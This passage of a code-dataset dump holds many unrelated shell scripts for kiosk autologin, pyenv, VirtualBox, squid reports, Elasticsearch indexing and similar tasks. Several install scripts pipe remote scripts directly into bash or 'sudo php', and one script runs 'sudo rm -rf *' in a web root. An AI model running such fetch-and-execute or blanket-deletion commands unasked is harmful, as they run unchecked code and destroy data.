/etc/gdm/custom.conf for automatic login.\"\n\tsed -i '/daemon]/aAutomaticLoginEnable=True' /etc/gdm/custom.conf\nfi\nif [ -n \"$loginname\" ]\nthen\n\techo \"File is already configured for a user to autologin.\"\n\tif [$(echo $loginname | sed 's/AutomaticLogin=//g') != kiosk ]\n\tthen\n\t\techoFunc \"A different user was set to automatically login: ${loginname}\"\n\t\techoFunc \"Changing the user to kiosk\"\n\t\tsed \"s/${loginname}/AutomaticLogin=kiosk/\" /etc/gdm/custom.conf\n\t\techoFunc \"User replaced.\"\n\telse\n\t\techoFunc \"User: 'kiosk' was already configured.\"\n\tfi\nelse\n\techoFunc \"Adding lines to enable kiosk user in /etc/gdm/custom.conf\"\n\tsed -i '/AutomaticLoginEnable=True/aAutomaticLogin=kiosk' /etc/gdm/custom.conf\nfi\nechoFunc \"Adding line to /etc/gdm/custom.conf for default X Session.\"\nechoFunc \"And creating session file for specific user in /var/lib/AccountsService/users/kiosk.\"\nsed -i '/AutomaticLogin=kiosk/aDefaultSession=xinit-compat.desktop' /etc/gdm/custom.conf\ntouch /var/lib/AccountsService/users/kiosk\nchmod 644 /var/lib/AccountsService/users/kiosk\necho \"[User]\" >> /var/lib/AccountsService/users/kiosk\necho \"Language=\" >> /var/lib/AccountsService/users/kiosk\necho \"XSession=xinit-compat\" >> /var/lib/AccountsService/users/kiosk\necho \"SystemAccount=false\" >> /var/lib/AccountsService/users/kiosk\n\nechoFunc \"Overall Progress: 90%\"\n\nechoFunc \"Configuring system to start in graphical mode.\"\nsystemctl set-default graphical.target\nechoFunc \"Enableing GDM\"\nsystemctl enable gdm\n\n# Rewrite the firstboot file.\nechoFunc \"Disabling firstboot.\"\nchkconfig firstboot off\necho \"RUN_FIRSTBOOT=no\" > /etc/sysconfig/firstboot\nrpm -e initial-setup initial-setup-gui\n\n# Create conf files in /home/kiosk.\nechoFunc \"Generating new .xsession file.\"\ncat << EOF > /home/kiosk/.xsession\nxset s off\nxset -dpms\nmatchbox-window-manager &\nwhile true; do\n\tchromium-browser --kiosk --incognito --no-default-browser-check --no-first-run --homepage '$homePage'\ndone\nEOF\nchmod +x /home/kiosk/.xsession\n\n# Create .dmrc file\nechoFunc \"Creating .dmrc desktop profile session file.\"\necho \"[Desktop]\" > /home/kiosk/.dmrc\necho \"Session=xinit-compat\" >> /home/kiosk/.dmrc\necho \"Language=$LANG\" >> /home/kiosk/.dmrc\n\n# Avoid Gnome's Initial Setup. \nechoFunc \"Creating config to diable Gnome's initial setup.\"\nmkdir -p /home/kiosk/.config\necho \"yes\" > /home/kiosk/.config/gnome-initial-setup-done\n\n# Modify magic file for citrix mime-type and accept eula\nif [ $citrix = yes ] || [ $citrixweb = yes ] ; then\n\techo \"# Citrix File Types\" >> /usr/share/misc/magic\n\techo \"20\tsearch/50\tWFClient\tCitrix Client File\" >> /usr/share/misc/magic\n\techo \"!:mime\tapplication/x-ica\" >> /usr/share/misc/magic\n\tcd /usr/share/misc\n\tfile -C -m /usr/share/misc/magic \n\tcd ~/\n\t# Accept EULA to avoid dialog at first start\n\tmkdir /home/kiosk/.ICAClient\n\ttouch /home/kiosk/.ICAClient/.eula_accepted\nfi\n\n# Cleanup\nechoFunc \"Cleaning up some cached items for additional space.\"\ndnf -y clean all\n\n# Force ~/ ownship for kiosk\nechoFunc \"Checking home disk partions\"\nchown -Rfv kiosk:kiosk /home/kiosk\n\n# All done!\nechoFunc \"Overall Progress: 100%\"\nechoFunc \"Script Complete.\"\nechoFunc \"Please reboot your computer for changes to take effect.\"\nechoFunc \"Exiting successfully with code: 0\"\nexit 0"} {"text": "guanwei/scripts0\n#!/usr/bin/env bash\n\nset -e\n[ -n \"$DEBUG\" ] && set -x\n\n# define functions\necho_title()\n{\n echo -e \"\\e[0;34m$1\\e[0m\"\n}\n\necho_success()\n{\n echo -e \"\\e[0;32m[✔]\\e[0m $1\"\n}\n\necho_error()\n{\n echo -e \"\\e[0;31m[✘]\\e[0m $1\"\n}\n\n# install pyenv\ncurl -sSL https://raw.githubusercontent.com/yyuu/pyenv-installer/master/bin/pyenv-installer | bash\n\nif [ -z \"$(grep '# pyenv' ~/.bash_profile)\" ] ; then\n cat >> ~/.bash_profile << EOF\n\n# pyenv\nexport PATH=\"\\$HOME/.pyenv/bin:\\$PATH\"\neval \"\\$(pyenv init -)\"\neval \"\\$(pyenv virtualenv-init -)\"\nEOF\n source ~/.bash_profile\nfi\n\n# update pyenv\npyenv update\n\n# install python3\nsudo yum install -y zlib-devel bzip2 bzip2-devel readline-devel sqlite sqlite-devel openssl-devel >/dev/null\npyenv install -v 3.5.1\npyenv rehash\npyenv global 3.5.1\npip install --upgrade pip\npyenv version"} {"text": "1-10\n#!/bin/zsh\nemulate -LR zsh\n\n# ====================================================================================== #\n# Rust & Cargo integrations #\n# ====================================================================================== #\n# Depends on .zshrc #\n# ====================================================================================== #\n\n# Homedir for rustup\ndeclare -gx RUSTUP_HOME=\"$XDG_CACHE_HOME/rustup\"\n\n# Homedir for cargo\ndeclare -gx CARGO_HOME=\"$XDG_CONFIG_HOME/cargo\"\n\n# Append to PATH\nif [[ -d \"$CARGO_HOME/bin\" ]]; then\n path+=(\"$CARGO_HOME/bin\")\n declare -aU path\nfi"} {"text": "kazuminn/minosstart.sh\nsudo apt-get install llvm clang lld-9 qemu;\nmkdir -p image/EFI/BOOT"} {"text": "#!/bin/bash\nuser=$1\npkgs=`find packages -maxdepth 1 -mindepth 1`\ncwd=`pwd`\nfor pkg in $pkgs\ndo\n cd $cwd\n if [ -e \"${pkg}/package.json\" ]\n then\n cd $pkg\n echo \">>>>>> Owner Adding\"\n echo \">>>>>>\" $pkg\n npm owner add $user\n fi\ndone\ncd $cwd"} {"text": "canhnht/ubuntu-setup\n#!/usr/bin/env bash\n\n# Exit on error\nset -e\n\n# Exit on error in any of pipe commands\nset -o pipefail\n\nsudo -v\n\n# Declare Virtual Box version\nVBOX_VERSION=5.2\n\necho -n \"Installing Virtual Box ...\"\n\n# Adds the Virtual Box apt PPA\nsudo sh -c 'echo \"deb [arch=amd64] https://download.virtualbox.org/virtualbox/debian $(lsb_release -cs) contrib\" > /etc/apt/sources.list.d/vscode.list'\n\n# Imports Virtual Box gpg key\ncurl -sSL https://www.virtualbox.org/download/oracle_vbox_2016.asc | sudo apt-key add - /dev/null 2>&1\n\n# Update packages and Installs Virtual Box Code latest version\nsudo apt-get update >/dev/null\nsudo apt-get install -y virtualbox-${VBOX_VERSION} >/dev/null\n\n# Verify and exit installation\nVBOX_CHECK=\"$(vboxmanage -v 1>&1)\"\nif [[ \"$VBOX_CHECK\" == *\"${VBOX_VERSION}\"* ]]; then\n echo -e \"\\\\033[0;32m[OK]\\\\033[0m\"\n exit 0\nelse\n echo -e \"\\\\033[0;31m[FAILED]\\\\033[0m\"\n exit 1\nfi"} {"text": "#!/bin/bash\n# Funcao : Gera um relatorio em $LOG/fulano-DD-MM-AAAA com todos os seus acessos\n# a internet nesta data. Excluindo-se do relatório sites considerados\n# de livre acesso. \n#\n# Parametros : (1) Data no formato AAAA-MM-DD (date +%Y-%m-%d)\n# (2) LOGIN\n# Filtra apenas o login solicitado, ignorando os demais.\n# Se ao invés do LOGIN for passado o nome de um arquivo entao\n# assumirá-o como parametro3\n# (3) Nome do arquivo de log do squid, se nao for informado então assumirá\n# /var/log/squid3/access.log\n# Usos : antes de expirar o acesso de um usuario avulso, gerar um relatorio e\n# envia-lo para seu supervisor, assim seu supervidor fica sabendo a \n# respeito do acesso de seus colaboradores e procura corrigir excessos \n#\n# Para pegar ips diferentes com o mesmo login num log de usuario :\n# cat 2011-10-21-marco.txt |cut -d\" \" -f4|sort -n| uniq\n# Eventual agendamento para 23:30hrs, acrescente ao crontab\n# 30 23 * * * /home/administrador/scripts/squid_relatorio.sh $(date +%Y-%m-%d) \n# Variaveis importantes para este script\n. /home/administrador/menu/mainmenu.var\n\n# Funcoes importantes para este script\n. /home/administrador/scripts/functions.sh\n\n# trap ctrl-c and call ctrl_c() trap ctrl_c INT\ntrap ctrl_c INT\nfunction ctrl_c() {\n echo \"*** interrompido pelo usuario ***\" ;\n do_encerra\n exit 2;\n}\n\n#\n# Inicio\n#\necho \"Relatorio de duplicacoes em arquivos de sites liberados do squid\"\necho \"Digite o email para onde será enviado o relatório\"\necho \"(não é preciso digitar @)\"\nread MAILTO\n\nif [ -z $MAILTO ] ; then\n exit 0;\nfi\nif ! [[ \"$MAILTO\" == *@* ]] ; then\n MAILTO=\"\" \nfi\n\n\n\n#\n# Juntando arquivos diferentes\n#\nunset LP\nunset LA\nLA=( \"${LA[@]}\" \"$SQUIDACL/sites_bancos.txt\" )\nLA=( \"${LA[@]}\" \"$SQUIDACL/sites_cert.txt\" )\nLA=( \"${LA[@]}\" \"$SQUIDACL/sites_diretos.txt\" )\nLA=( \"${LA[@]}\" \"$SQUIDACL/sites_download.txt\" )\nLA=( \"${LA[@]}\" \"$SQUIDACL/sites_exclusivo_almoco.txt\" )\nLA=( \"${LA[@]}\" \"$SQUIDACL/sites_financeiro.txt\" )\nLA=( \"${LA[@]}\" \"$SQUIDACL/sites_google.txt\" )\nLA=( \"${LA[@]}\" \"$SQUIDACL/sites_governo.txt\" )\nLA=( \"${LA[@]}\" \"$SQUIDACL/sites_livres.txt\" )\nLA=( \"${LA[@]}\" \"$SQUIDACL/sites_suporte.txt\" )\nCOUNT=0\n#TMPFILE=`mktemp /tmp/sites-check-dup.XXXXXXXXXX` \nTMPFILE1=\"/tmp/sites-check-dup-1.csv\"\nTMPFILE2=\"/tmp/sites-check-dup-2.csv\"\n[ -f \"$TMPFILE1\" ] && rm -f \"$TMPFILE1\"\ntouch \"$TMPFILE1\"\nfor ARQUIVO in \"${LA[@]}\" ; do\n if [ -f \"$ARQUIVO\" ] ; then\n NOME_ARQ=$(basename $ARQUIVO)\n cat \"$ARQUIVO\"|grep -v \"^#\"|awk -v col2=\"$NOME_ARQ\" -F \" \" '{print $1\";\"col2}' >>\"$TMPFILE1\"\n fi\ndone\nsort -k1 -t';' -n \"$TMPFILE1\" >\"$TMPFILE2\"\n\n#\n# Varre linha a linha e procura ocorrencias mais do que 1\n#\n[ -f \"$TMPFILE1\" ] && rm -f \"$TMPFILE1\"\ntouch \"$TMPFILE1\"\nwhile read LINHA ; do\n URL=`echo \"$LINHA\"|cut -d';' -f1`\n COUNT=`cat \"$TMPFILE2\"|grep \"$URL\"|wc -l`\n if [ $COUNT -gt 1 ] ; then\n COUNT=`cat \"$TMPFILE1\"|grep \"$URL\"|wc -l`\n if [ $COUNT -eq 0 ] ; then \n cat \"$TMPFILE2\"|grep \"$URL\"|uniq|awk -v col2=\"$NOME_ARQ\" -F \";\" '{print $1\"\\t\"$2}' >>\"$TMPFILE1\"\n fi\n fi\ndone < \"$TMPFILE2\"\n\n#echo \"cat \\\"$TMPFILE1\\\"\"\n\n# encerando o programa\n[ -f \"$TMPFILE2\" ] && rm -f \"$TMPFILE2\"\necho \"Enviando relatorio para $MAILTO\"\necho \"Voce esta recebendo um relatorio de sites e/ou URLs duplicados em nosso sistema squid.\">>$TMPFILE2\necho \"Analise com cuidado as informacoes e remova as duplicacoes quando necessário.\">>$TMPFILE2\necho \"Contate o administrador da rede quando houverem duvidas.\">>$TMPFILE2\nSUBJECT=\"Relatorio de sites duplicados\"\n/home/administrador/scripts/enviar_email_admin.sh \"$MAILTO\" \"$SUBJECT\" \"$TMPFILE2\" \"$TMPFILE1\"\necho \"script finalizado com sucesso.\"\n[ -f \"$TMPFILE1\" ] && rm -f \"$TMPFILE1\"\n[ -f \"$TMPFILE2\" ] && rm -f \"$TMPFILE2\"\nexit 0;"} {"text": "atinsinghal97/jira-cli-add-ons\n#!/bin/bash\nset -e\n\nDIRNAME=\"$(dirname \"$0\")\"\nTEMPLATE_FILE=\"${DIRNAME}/templates/add-to-epic-template.json\"\n\nsource \"${DIRNAME}/supporting-functions/validate-session.sh\"\nsource \"${DIRNAME}/supporting-functions/validate-file.sh\"\nsource \"${DIRNAME}/supporting-functions/usage.sh\"\nsource \"${DIRNAME}/supporting-functions/init.sh\"\n\nvalidate_file -f \"${FILE}\" -d \"${USE_DEFAULT}\" -t \"${TEMPLATE_FILE}\"\n\nEPIC_ID=$(jq -r '.commonDetails.epicId' ${FILE})\n\nfor row in $(jq -r '.tickets[] | @base64' ${FILE}); do\n TICKET_ID=$(echo ${row} | base64 --decode)\n jira epic add ${EPIC_ID} ${TICKET_ID}\ndone\n\necho \"Done!\""} {"text": "utils/travis_R.sh0\n#!/bin/sh\nRscript ./utils/r_packages.R"} {"text": "0\ncat hygen.md > hygen.didact.md\n\nhygen markdown command --termname hygen --file hygen --location 'Globally with npm' --name Install --cmd npm%20i%20-g%20hygen\n\nhygen markdown command --termname hygen --file hygen --location 'quick run-down to get to your own generator' --name Create-new-generator --cmd mkdir%20hygen-test%3B%20cd%20hygen-test%3B%20hygen%20init%20self%3B%20hygen%20generator%20new%20awesome-generator%3B%20hygen%20awesome-generator%20new%20hello\n\nhygen markdown command --termname hygen --file hygen --location 'builds a new generator for you' --name New-generator --cmd hygen%20generator%20new%20generatorName"} {"text": "codemodify/ArchLinux-Python\n#!/bin/bash\n\nyay -S python-virtualenv\n\nclear\necho Create new PY-VIRT-ENV: \"virtualenv .python\"\necho Activate a PY-VIRT-ENV: source .python/bin/activate\necho DeActivate PY-VIRT-ENV: deactivate"} {"text": "search/scripts/load_data_from_rds.sh\n#!/usr/bin/env zsh\n# Clean refresh of ES data and thumbnails given path to RDS\n# For use by the project team at the University of Sydney\n\n# XXX: This file is now out of date.\n# TODO: make elastic index name configurable and/or use index aliases to make the change atomic\n# TODO: handle demo mode, e.g. to export random 10 images from each dataset\n\nset -ex\n\nmypath=$0:A\nrepo_root=$(dirname \"$mypath\")/../../\n\ntmpd=$(mktemp -d)\ntrap 'rm -rf \"$tmpd\"' EXIT\n\nusage() {\n\techo $0 \"[-r /path/to/rds] [-H http://elastic:9200] [OPTIONS]\" >&2\n\techo Options: >&2\n\techo \" -r|--rds Specify the path to the iweeds RDS\" >&2\n\techo \" -H|--host Specify the elastic host and port\" >&2\n\techo \" --no-purge Do not purge the existing index on elastic\" >&2\n\techo \" --no-thumbs Do not copy thumbnails into the static file server\" >&2\n\techo \" --wipe-thumbs Remove any existing thumbnails on static file server\" >&2\n\techo \" --no-venv Use the current Python environment instead of a fresh install\" >&2\n\techo \" --demo Only index a small sample for demonstration\" >&2\n\texit 1\n}\n\nif [ -d /Volumes/research-data/PRJ-iweeds ]\nthen\n\trds_root=/Volumes/research-data/PRJ-iweeds \nelse\n\trds_root=Volumes/PRJ-iweeds\nfi\nelastic_host=http://wdidpa00000.srv.sydney.edu.au/elasticsearch/\nget_thumbs=1\nwipe_thumbs=0\ndemo_mode=0\npurge_index=1\ninstall_venv=1\n\nwhile [[ \"$#\" -gt 0 ]]; do\n case $1 in\n -h|--help) usage ;;\n -r|--rds) rds_root=\"$2\"; shift ;;\n -H|--host) elastic_host=\"$2\"; shift ;;\n\t\t--no-purge) purge_index=0; shift ;;\n\t\t--no-thumbs) get_thumbs=0; shift ;;\n\t\t--wipe-thumbs) wipe_thumbs=1; shift ;;\n\t\t--no-venv) install_venv=0; shift ;;\n\t\t--demo) demo_mode=1; shift ;;\n *) echo \"Unknown parameter passed: $1\"; usage ;;\n esac\n shift\ndone\n\nif [ \"$get_thumbs\" = 1 ]\nthen\n\tif [ \"$wipe_thumbs\" = 1 ]\n\tthen\n\t\trm -rf \"$repo_root\"/search/public/thumbnails\n\tfi\n\tmkdir -p \"$repo_root\"/search/public/thumbnails\n\t\"$repo_root\"/search/scripts/download_test_thumbnails.sh --rds \"$rds_root\"\nfi\n\nif [ \"$purge_index\" = 1 ]\nthen\n\tcurl -X DELETE $elastic_host\"/weedid?pretty\"\nfi\n\nif [ \"$install_venv\" = 1 ]\nthen\n\t# setup Python environment with weedcoco installed\n\tvirtualenv $tmpd/venv --python \"$(which python3)\"\n\tset +e\n\tsource $tmpd/venv/bin/activate\n\tset -e\n\ttest -n \"$VIRTUAL_ENV\"\n\tpip install -e \"$repo_root\"\nfi\n\nindex_bulk() {\n python \"$repo_root\"'/search/scripts/weedcoco_to_elastic_index_bulk.py' \"$@\" |\n\t\tcurl -X POST $elastic_host/_bulk -H 'Content-Type: application/json' --data-binary @-\n}\n\npython -m weedcoco.importers.deepweeds \\\n\t--labels-dir \"$rds_root\"/external_datasets/raw/deepweeds/DeepWeeds/labels \\\n\t--image-dir \"$rds_root\"/external_datasets/raw/deepweeds/DeepWeeds/images \\\n\t-o $tmpd/deepweeds.weedcoco\ncat $tmpd/deepweeds.weedcoco | index_bulk --thumbnail-dir deepweeds\n\npython -m weedcoco.importers.cwfid \\\n\t--annotations-dir \"$rds_root\"/external_datasets/raw/cwfid/dataset/annotations \\\n\t--image-dir \"$rds_root\"/external_datasets/raw/cwfid/dataset/images \\\n\t--split-path \"$rds_root\"/external_datasets/raw/cwfid/dataset/train_test_split.yaml \\\n\t-o $tmpd/cwfid.weedcoco\ncat $tmpd/cwfid.weedcoco | index_bulk --thumbnail-dir cwfid\n\ndir=$rds_root/data/raw/SOLES/narrabri/2019-winter/20190728\npython -m weedcoco.importers.voc \\\n\t--voc-dir $dir/voc \\\n\t--image-dir $dir/img \\\n\t--category-name-map $dir/category-name-map.yaml \\\n\t--collection $dir/collection.yaml \\\n\t--agcontext $dir/agcontext.yaml \\\n\t-o $tmpd/coco_from_voc-test.weedcoco\ncat $tmpd/coco_from_voc-test.weedcoco | index_bulk --thumbnail-dir artificial\n\ndir=$rds_root/data/raw/SOLES/narrabri/2019-winter/20190729\npython -m weedcoco.importers.voc \\\n\t--voc-dir $dir/voc \\\n\t--image-dir $dir/img \\\n\t--category-name-map $dir/category-name-map.yaml \\\n\t--collection $dir/collection.yaml \\\n\t--agcontext $dir/agcontext.yaml \\\n\t-o $tmpd/coco_from_voc-test.weedcoco\ncat $tmpd/coco_from_voc-test.weedcoco | index_bulk --thumbnail-dir natural\n\ndir=$rds_root/data/raw/SOLES/narrabri/2019-winter/20190803\npython -m weedcoco.importers.voc \\\n\t--voc-dir $dir/voc \\\n\t--image-dir $dir/img \\\n\t--category-name-map $dir/category-name-map.yaml \\\n\t--collection $dir/collection.yaml \\\n\t--agcontext $dir/agcontext.yaml \\\n\t-o $tmpd/coco_from_voc-test.weedcoco\ncat $tmpd/coco_from_voc-test.weedcoco | index_bulk --thumbnail-dir natural2\n\ndir=$rds_root/data/raw/SOLES/narrabri/2020-summer/20200402\npython -m weedcoco.importers.voc \\\n\t--voc-dir $dir/voc \\\n\t--image-dir $dir/img \\\n\t--category-name-map $dir/category-name-map.yaml \\\n\t--collection $dir/collection.yaml \\\n\t--agcontext $dir/agcontext-mungbeans.yaml \\\n\t-o $tmpd/coco_from_voc-test.weedcoco\ncat $tmpd/coco_from_voc-test.weedcoco | index_bulk --thumbnail-dir digifarm-mungbeans\n\ndir=$rds_root/data/raw/SOLES/cobbity/2020-winter/20201006/20201006-ld_wht_tos4_tw_19345061\npython -m weedcoco.importers.voc \\\n\t--voc-dir $dir/voc \\\n\t--image-dir $dir/img \\\n\t--category-name-map $dir/category-name-map.yaml \\\n\t--collection $dir/collection.yaml \\\n\t--agcontext $dir/agcontext.yaml \\\n\t-o $tmpd/coco_from_voc-test.weedcoco\ncat $tmpd/coco_from_voc-test.weedcoco | index_bulk --thumbnail-dir overcast\n\ndir=$rds_root/data/raw/SOLES/cobbity/2020-winter/20201006/20201006-ld_wht_tos4_tw_19110130\npython -m weedcoco.importers.voc \\\n\t--voc-dir $dir/voc \\\n\t--image-dir $dir/img \\\n\t--category-name-map $dir/category-name-map.yaml \\\n\t--collection $dir/collection.yaml \\\n\t--agcontext $dir/agcontext.yaml \\\n\t-o $tmpd/coco_from_voc-test.weedcoco\ncat $tmpd/coco_from_voc-test.weedcoco | index_bulk --thumbnail-dir overcast\n\ndir=$rds_root/data/raw/SOLES/cobbity/2020-winter/20200923/20200923-ld_why_tos4_tw_19345061\npython -m weedcoco.importers.voc \\\n\t--voc-dir $dir/voc \\\n\t--image-dir $dir/img \\\n\t--category-name-map $dir/category-name-map.yaml \\\n\t--collection $dir/collection.yaml \\\n\t--agcontext $dir/agcontext.yaml \\\n\t-o $tmpd/coco_from_voc-test.weedcoco\ncat $tmpd/coco_from_voc-test.weedcoco | index_bulk --thumbnail-dir natural\n\ndir=$rds_root/data/raw/SOLES/cobbity/2020-winter/20200923/20200923-ld_wht_tos4_tw_19110130\npython -m weedcoco.importers.voc \\\n\t--voc-dir $dir/voc \\\n\t--image-dir $dir/img \\\n\t--category-name-map $dir/category-name-map.yaml \\\n\t--collection $dir/collection.yaml \\\n\t--agcontext $dir/agcontext.yaml \\\n\t-o $tmpd/coco_from_voc-test.weedcoco\ncat $tmpd/coco_from_voc-test.weedcoco | index_bulk --thumbnail-dir natural"} {"text": "Ziaur-786/Opstree\n#!/bin/bash\ncd /var/www/html\nsudo rm -rf *"} {"text": "export FL_TITLE=\"Functional HTTP Server\"\nexport FL_DESCRIPTION=\"A simple HTTP server inspired by Express and in tune with Functional Programming principles in \\\nJavaScript for Deno.\"\nexport FL_GITHUB_URL=\"https://github.com/sebastienfilion/functional-http-server\"\nexport FL_DENO_URL=\"https://deno.land/x/functional_http_server\"\nexport FL_VERSION=\"v0.3.1\"\n\ndeno run --allow-all --unstable ../@functional:generate-documentation/cli.js document \\\n\"$FL_TITLE\" \\\n\"$FL_DESCRIPTION\" \\\n$FL_GITHUB_URL \\\n$FL_DENO_URL \\\n$FL_VERSION \\\n./.github/readme-fragment-usage.md \\\n./library/*.js \\\n./.github/readme-fragment-license.md"} {"text": "#!/bin/bash\n\necho \"Hello! This is rpi install.sh script.\""} {"text": "nagi/.dotfiles\nrcat() { cat $1 | coderay -ruby }\n\npcat() { cat $1 | coderay -python }\n\nfunction lt() { ls -ltrsa \"$@\" | tail; }\n\nfunction ff() { find . -iname \"*$@*\"; }\n\nfunction fp() { ps aux | grep -v grep | grep \"$@\" -i --color=auto; }\n\nfunction remove_lines_from() { grep -F -x -v -f $2 $1; }\n\nfunction mkcd() { mkdir $1 && cd $1; }\n\nfunction ed209 { git status --porcelain | grep -v '^D' | grep '\\.rb$' | grep -v 'db/schema.rb' | cut -d ' ' -f 3 | xargs bundle exec rubocop }\n\nfunction git_clean_up { git branch --merged | grep -v \"\\*\" | grep -v master | grep -v dev | xargs -n 1 git branch -d }"} {"text": "#!/bin/bash\n\nbash build\ncp airi.swf ../python/airi/media/"} {"text": "pkg_name=protobuf\npkg_origin=core\npkg_version=2.6.1\npkg_license=('BSD')\npkg_source=https://github.com/google/${pkg_name}/releases/download/v${pkg_version}/${pkg_name}-${pkg_version}.tar.bz2\npkg_shasum=ee445612d544d885ae240ffbcbf9267faa9f593b7b101f21d58beceb92661910\npkg_deps=(core/gcc core/zlib)\npkg_build_deps=(core/make)\npkg_bin_dirs=(bin)\npkg_lib_dirs=(lib)\npkg_include_dirs=(include)"} {"text": "r.sh0\n#!/bin/bash\n#Author: \n\nrm *.out\nrm *.o\n\necho \"Compile main.c\"\ngcc -c -g -Wall -m64 -std=c99 -fno-pie -no-pie -o main.o main.c\n\necho \"Compile control.asm\"\nnasm -g -f elf64 -l control.lis -o control.o control.asm\n\necho \"Compile fill.cpp\"\ng++ -c -g -Wall -m64 -std=c++14 -fno-pie -no-pie -o fill.o fill.cpp\n\necho \"Compile display.c\"\ngcc -c -g -Wall -m64 -std=c11 -fno-pie -no-pie -o display.o display.c\n\necho \"Compile sum.asm\"\nnasm -g -f elf64 -l control.lis -o sum.o sum.asm\n\necho \"Linking all object files...\"\ng++ -g -m64 -std=c++14 -fno-pie -no-pie -o executable.out main.o control.o fill.o display.o sum.o\n\necho \"Executing ./out\\n\"\n./executable.out\n\necho \"Exiting Bash...\""} {"text": "#!/bin/bash \n\nwget https://s3.amazonaws.com/amazoncloudwatch-agent/ubuntu/amd64/latest/amazon-cloudwatch-agent.deb\nsudo dpkg -i -E ./amazon-cloudwatch-agent.deb"} {"text": "#!/usr/bin/env bash\n\nyum -y clean all\n\n# Зарегистрируем репозитории пакетов EPEL (для nodejs и npm) и webtatic (для php)\nsudo rpm -Uvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm\nsudo rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm\n\n# Регистрируем репозитории для npm\nsudo curl --silent --location https://rpm.nodesource.com/setup_6.x | bash -\n\nyum -y update\n\n# Устанавливаем системные пакеты,\n# менеджер зависимостей PHP composer,\n# фреймворк тестирования API Dredd\n# и фреймворк веб-приложений Express JS для прототипирования API\nsudo yum -y install curl git nodejs npm php70w-cli --skip-broken \\\n&& curl -sS https://getcomposer.org/installer | sudo php -- --install-dir=/usr/bin --filename=composer \\\n&& yum -y install gcc-c++ make \\\n&& sudo npm cache clean \\\n&& sudo npm install dredd -g \\\n&& sudo npm install express -g \\\n&& echo \"Done\""} {"text": "#!/bin/bash\nset -e\n\nif [ ! -f ~/papers/RUNNING ] \nthen\n files=(~/papers/dois*.txt)\n if [ -e \"${files[0]}\" ]\n then\n f=${files[0]}\n NAME=$(echo $f |cut -d _ -f 2 | cut -d . -f 1)\n touch ~/papers/RUNNING\n /usr/bin/python3 /home/xt3/MetaDataDistiller/metadata_fromList.py $f /home/xt3/papers/metadata/\n tar -czf /home/xt3/papers/metadata_$NAME.tar.gz /home/xt3/papers/metadata\n rm $f\n rm -rf /home/xt3/papers/metadata/*\n touch ~/papers/FINISHED\n rm ~/papers/RUNNING\n fi \nfi"} {"text": "#!/bin/bash\nmodule load fsl/6.0.3\nsource $FSLDIR/etc/fslconf/fsl.sh\n\nMASKFACE_HOME=/scratch/cs/faceai/projects/faceai_testingdefacing/software/external/MaskFace/lin64.Dec2017\nPATH=${MASKFACE_HOME}/bin:${PATH}\n\nexport PATH MASKFACE_HOME\n\nmodule load matlab/r2018a\n\n\nfunction run_maskface() {\n\t# do some validation of the input folder\n\n\t# create output folder\n\toutfolder=$1\"/facemask\"\n\techo mkdir -p $outfolder\n\tmkdir -p $outfolder\n\t# run fsl deface\n\tstdfile=$1\"/std/image_std.nii.gz\"\n\techo fslchfiletype NIFTI_PAIR $stdfile $outfolder\"/image_std\"\n\t#fslchfiletype NIFTI_PAIR $stdfile $outfolder\"/image_std\"\n\tinfile=$outfolder\"/image_std\"\n\n\toutfile=$outfolder\"/defaced\"\n\tif [ -f $outfile ]; then\n\t\techo $outfile exists so I skip\n\t\tcontinue\n\tfi\t\n\n\techo \"mask_face $infile -a -o $outfile\"\n}\n\n\nfor f in $(find /scratch/cs/faceai/projects/faceai_testingdefacing/data/HNPETCT/processed_CT/ -mindepth 1 -maxdepth 1); do\n\twhile [ $(ps -fA |grep -i mask_face|wc -l) -gt 10 ]; do\n\t\tsleep 20\n\t\tcontinue\n\tdone\n\trun_maskface $f \n\techo \"###\"\ndone"} {"text": "#!/bin/bash\n\nset -e\n\necho \"Nothing to do to praparing node for dqlite\""} {"text": "GIT=https://gitlab.redox-os.org/redox-os/rust-cairo.git\nBUILD_DEPENDS=(cairo expat fontconfig freetype libpng pixman zlib)\nCARGOFLAGS=\"--example gui\"\n\nfunction recipe_build {\n sysroot=\"$(realpath ../sysroot)\"\n cp -p \"$ROOT/Xargo.toml\" \"Xargo.toml\"\n xargo rustc --target \"$TARGET\" --release ${CARGOFLAGS} \\\n -- \\\n -L \"${sysroot}/lib\" \\\n -l cairo \\\n -l fontconfig \\\n -l expat \\\n \t-l pixman-1 \\\n \t-l freetype \\\n \t-l png \\\n \t-l z\n skip=1\n}\n\nfunction recipe_stage {\n dest=\"$(realpath $1)\"\n mkdir -pv \"$dest/bin\"\n cp -v \"target/${TARGET}/release/examples/gui\" \"$dest/bin/rust-cairo\"\n skip=1\n}"} {"text": "#!/bin/sh\n\nif [ $# -ne 2 ]; then\n echo \"usage: ./generate_thumb.sh src_dir dst_dir.\"\n exit 0\nfi\n\nsrc_dir=$1\ndst_dir=$2\n\nfor filepath in `find $src_dir -type f \\( -name \"*.flv\" -o -name \"*.mp4\" -o -name \"*.avi\" \\)`\ndo\n filename=\"${filepath##*/}\"\n filename_noext=\"${filename%.*}\"\n ffmpeg -i $filepath -vf thumbnail=30,scale=640:-1 -sws_flags lanczos -an -vsync 0 $dst_dir/$filename_noext-%08d.jpg\ndone\n\necho \"Done.\"\nexit 0"} {"text": "hchenji/optimsoc10-100\n#!/bin/bash\n#\n# Output the OpTiMSoC version number of the current source tree\n#\n# The script tries to give the version number as accurate as possible to \n# enable others to reproduce the exact same state of the source code.\n#\n# Rules: \n# - If the repository state equals a tagged release version, return that\n# version number.\n# - If modifications have been made on top of the released version, the\n# version number is appended with \"-git\"\n# - If the working directory has local modifications, it is further appended\n# with a \"+\" sign.\n# - If no tagged release can be found, only the commit ID is returned.\n# - Finally, if the code is not inside a git repository, \"unknown\" is returned.\n#\n\n# Switch to the optimsoc source directory for the following git commands\nDIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" >/dev/null && pwd )\"\ncd \"$DIR/..\"\n\n# Report version from '.optimsoc_version' file if not a git repository\nif [ ! -d '.git' ]; then\n if [ -f '.optimsoc_version' ]; then\n cat '.optimsoc_version'\n exit 0\n else\n echo 'unknown'\n exit 255\n fi\nfi\n\n# get the most recent git version tag\nGIT_LATEST_TAG=$(git describe --abbrev=0 --match 'v*' 2>/dev/null)\nif [ $? -eq 0 ]; then\n # we're inside a git repository and at least one annotated tag was found\n GIT_LATEST_VERSION=$(echo $GIT_LATEST_TAG | tr -d 'v')\n\n git describe --exact-match --match 'v*' >/dev/null 2>&1 && IS_RELEASE=1\n if [ $IS_RELEASE ]; 